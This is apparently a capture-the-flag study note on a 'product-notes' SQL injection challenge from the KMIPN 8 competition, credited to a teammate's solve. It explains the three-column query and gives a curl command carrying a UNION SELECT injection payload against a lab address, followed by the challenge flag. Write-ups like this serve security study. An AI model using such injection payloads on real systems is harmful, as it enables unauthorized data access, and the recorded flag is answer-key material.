product-notes

Updated 20 Sep 2026

•
Attribution
- •
  Solved by Fauzi Ismail during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.
•
What it asked
- •
  Use a read-only product API to identify a SQL injection and return the hidden value without destructive statements.
•
Approach
- •
  The developer note revealed a three-column query: SELECT id, name, price FROM products WHERE id=<input>.
- •
  A three-column UNION SELECT therefore matched the response shape. The flag appeared in the reflected row.

Solution

base='http://10.0.100.6:8080/product'
curl -sG "$base" --data-urlencode 'id=1 UNION SELECT 1,2,3-- '

•
Verification
- •
  The team document records successful flag recovery. The endpoint was not replayed during this refactor.
•
Concepts
- •
  SQL Injection; UNION column-count matching; read-only validation.
•
Source
- •
  Source: team document KMIPNVIII-unintended.docx, titled “Writeup unintended KMIPN 8 Final”. Page numbers refer to the rendered document. Rendered pp. 13–18.
- •
  Flag: KMIPN8{union_select_needs_column_count}.